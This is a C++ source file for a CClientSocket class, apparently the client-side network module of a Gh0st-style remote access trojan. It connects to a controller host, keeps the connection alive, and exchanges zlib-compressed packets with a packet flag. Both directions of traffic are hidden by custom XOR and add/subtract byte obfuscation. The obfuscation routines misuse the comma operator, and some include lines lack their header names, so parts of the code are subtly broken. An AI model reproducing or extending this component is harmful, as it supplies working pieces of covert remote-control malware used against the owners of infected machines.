// ClientSocket.cpp: implementation of the CClientSocket class. // ////////////////////////////////////////////////////////////////////// #include "ClientSocket.h" #include #include #include "Manager.h" #include "until.h" #pragma comment(lib, "ws2_32.lib") #include "../../common/zlib/zlib.h" #pragma comment(lib, "../../../common/zlib/zlib.lib") #define ZLIB_NO 1226661 //数据包无压缩模式 #define ZLIB_OK 1226662 //数据包为压缩模式 ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CClientSocket::CClientSocket() { WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); m_hEvent = CreateEvent(NULL, true, false, NULL); m_bIsRunning = false; m_Socket = INVALID_SOCKET; // Packet Flag; BYTE bPacketFlag[] = {'S','V',' '}; memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag)); } CClientSocket::~CClientSocket() { m_bIsRunning = false; WaitForSingleObject(m_hWorkerThread, INFINITE); if (m_Socket != INVALID_SOCKET) Disconnect(); CloseHandle(m_hWorkerThread); CloseHandle(m_hEvent); WSACleanup(); } bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort) { // 一定要清除一下,不然socket会耗尽系统资源 Disconnect(); // 重置事件对像 ResetEvent(m_hEvent); m_bIsRunning = false; m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (m_Socket == SOCKET_ERROR) return false; hostent* pHostent = NULL; pHostent = gethostbyname(lpszHost); if (pHostent == NULL) return false; // 构造sockaddr_in结构 sockaddr_in ClientAddr; ClientAddr.sin_family = AF_INET; ClientAddr.sin_port = htons(nPort); ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr); if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) return false; BOOL bConditionalAccept=TRUE; DWORD dwBytes; // Set KeepAlive 开启保活机制, 防止服务端产生死连接 if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (const char*)&bConditionalAccept, sizeof(BOOL)) == 0) { // 设置超时详细信息 tcp_keepalive klive; klive.onoff = 1; // 启用保活 klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply WSAIoctl(m_Socket, SIO_KEEPALIVE_VALS, &klive, sizeof(tcp_keepalive), NULL, 0, &dwBytes, 0, NULL); } m_bIsRunning = true; m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true); return true; } char* MyDecode(char *data,int len) { for (int i = 0; i < len; i++) { data[i] += 0x87,0x73,0x99,0x57,0x77,0x68; data[i] ^= 0x15,0x21,0x32,0x42,0x23,0x73; } return data; } DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) { CClientSocket *pThis = (CClientSocket *)lparam; char buff[MAX_RECV_BUFFER]; fd_set fdSocket; FD_ZERO(&fdSocket); FD_SET(pThis->m_Socket, &fdSocket); while (pThis->IsRunning()) { fd_set fdRead = fdSocket; int nRet = select(NULL, &fdRead, NULL, NULL, NULL); if (nRet == SOCKET_ERROR) { pThis->Disconnect(); break; } if (nRet > 0) { memset(buff, 0, sizeof(buff)); int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); if (nSize <= 0) { pThis->Disconnect(); break; } if (nSize > 0) { MyDecode(buff,nSize); pThis->OnRead((LPBYTE)buff, nSize); } } } return -1; } void CClientSocket::run_event_loop() { WaitForSingleObject(m_hEvent, INFINITE); } bool CClientSocket::IsRunning() { return m_bIsRunning; } #include void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize ) { PBYTE pData = NULL; PBYTE pDeCompressionData = NULL; try { if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0) { // 重新发送 Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen()); return; } // Add the message to out message // Dont forget there could be a partial, 1, 1 or more + partial mesages m_CompressionBuffer.Write(lpBuffer, dwIoSize); // Check real Data while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE) { // Check real Data BYTE bPacketFlag[FLAG_SIZE]; CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag)); if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0) { throw "bad buffer"; } UINT nSize = 0; CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(UINT)); if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize) { int nUnCompressLength = 0; // Read off header m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag)); m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int)); m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int)); BOOL nSomp = FALSE; m_CompressionBuffer.Read((PBYTE) &nSomp, sizeof(BOOL)); //////////////////////////////////////////////////////// //////////////////////////////////////////////////////// // SO you would process your data here // // I'm just going to post message so we can see the data int nCompressLength = nSize - HDR_SIZE; pData = new BYTE[nCompressLength]; pDeCompressionData = new BYTE[nUnCompressLength]; if (pData == NULL || pDeCompressionData == NULL) { throw "bad Allocate"; } m_CompressionBuffer.Read(pData, nCompressLength); if(nSomp == ZLIB_NO) //只接收没压缩数据 { m_DeCompressionBuffer.ClearBuffer(); m_DeCompressionBuffer.Write(pData, nCompressLength); m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen()); } delete [] pData; delete [] pDeCompressionData; } else break; } } catch(...) { if(pData) delete [] pData; if(pDeCompressionData) delete [] pDeCompressionData; m_CompressionBuffer.ClearBuffer(); Send(NULL, 0); } } void CClientSocket::Disconnect() { // // If we're supposed to abort the connection, set the linger value // on the socket to 0. // LINGER lingerStruct; lingerStruct.l_onoff = 1; lingerStruct.l_linger = 0; setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) ); CancelIo((HANDLE) m_Socket); InterlockedExchange((LPLONG)&m_bIsRunning, false); closesocket(m_Socket); SetEvent(m_hEvent); m_Socket = INVALID_SOCKET; } int CClientSocket::Send( LPBYTE lpData, UINT nSize ) { m_WriteBuffer.ClearBuffer(); if (nSize > 0) { // Compress data unsigned long destLen = (double)nSize * 1.001 + 12; LPBYTE pDest = new BYTE[destLen]; if (pDest == NULL) return 0; int nRet = compress(pDest, &destLen, lpData, nSize); if (nRet != Z_OK) { delete [] pDest; return -1; } ////////////////////////////////////////////////////////////////////////// LONG nBufLen = destLen + HDR_SIZE; // 5 bytes packet flag m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 4 byte header [Size of Entire Packet] m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen)); // 4 byte header [Size of UnCompress Entire Packet] m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize)); BOOL nComp = ZLIB_OK; //无压缩数据 m_WriteBuffer.Write((PBYTE) &nComp, sizeof(BOOL)); //写入数据不压缩标志 4 bytes // Write Data m_WriteBuffer.Write(pDest, destLen); delete [] pDest; // 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入 LPBYTE lpResendWriteBuffer = new BYTE[nSize]; CopyMemory(lpResendWriteBuffer, lpData, nSize); m_ResendWriteBuffer.ClearBuffer(); m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 备份发送的数据 if (lpResendWriteBuffer) delete [] lpResendWriteBuffer; } else // 要求重发, 只发送FLAG { m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); m_ResendWriteBuffer.ClearBuffer(); m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 备份发送的数据 } // 分块发送 return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER); } char* MyEncode(char *data,int len) { for (int i = 0; i < len; i++) { data[i] ^= 0x15,0x21,0x32,0x42,0x23,0x73; data[i] -= 0x87,0x73,0x99,0x57,0x77,0x68; } return data; } int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize) { MyEncode((char *)lpData,nSize); int nRet = 0; const char *pbuf = (char *)lpData; int size = 0; int nSend = 0; int nSendRetry = 15; // 依次发送 for (size = nSize; size >= nSplitSize; size -= nSplitSize) { for (int i = 0; i < nSendRetry; i++) { nRet = send(m_Socket, pbuf, nSplitSize, 0); if (nRet > 0) break; } if (i == nSendRetry) return -1; nSend += nRet; pbuf += nSplitSize; Sleep(10); // 必要的Sleep,过快会引起控制端数据混乱 } // 发送最后的部分 if (size > 0) { for (int i = 0; i < nSendRetry; i++) { nRet = send(m_Socket, (char *)pbuf, size, 0); if (nRet > 0) break; } if (i == nSendRetry) return -1; nSend += nRet; } if (nSend == nSize) return nSend; else return SOCKET_ERROR; } void CClientSocket::setManagerCallBack( CManager *pManager ) { m_pManager = pManager; }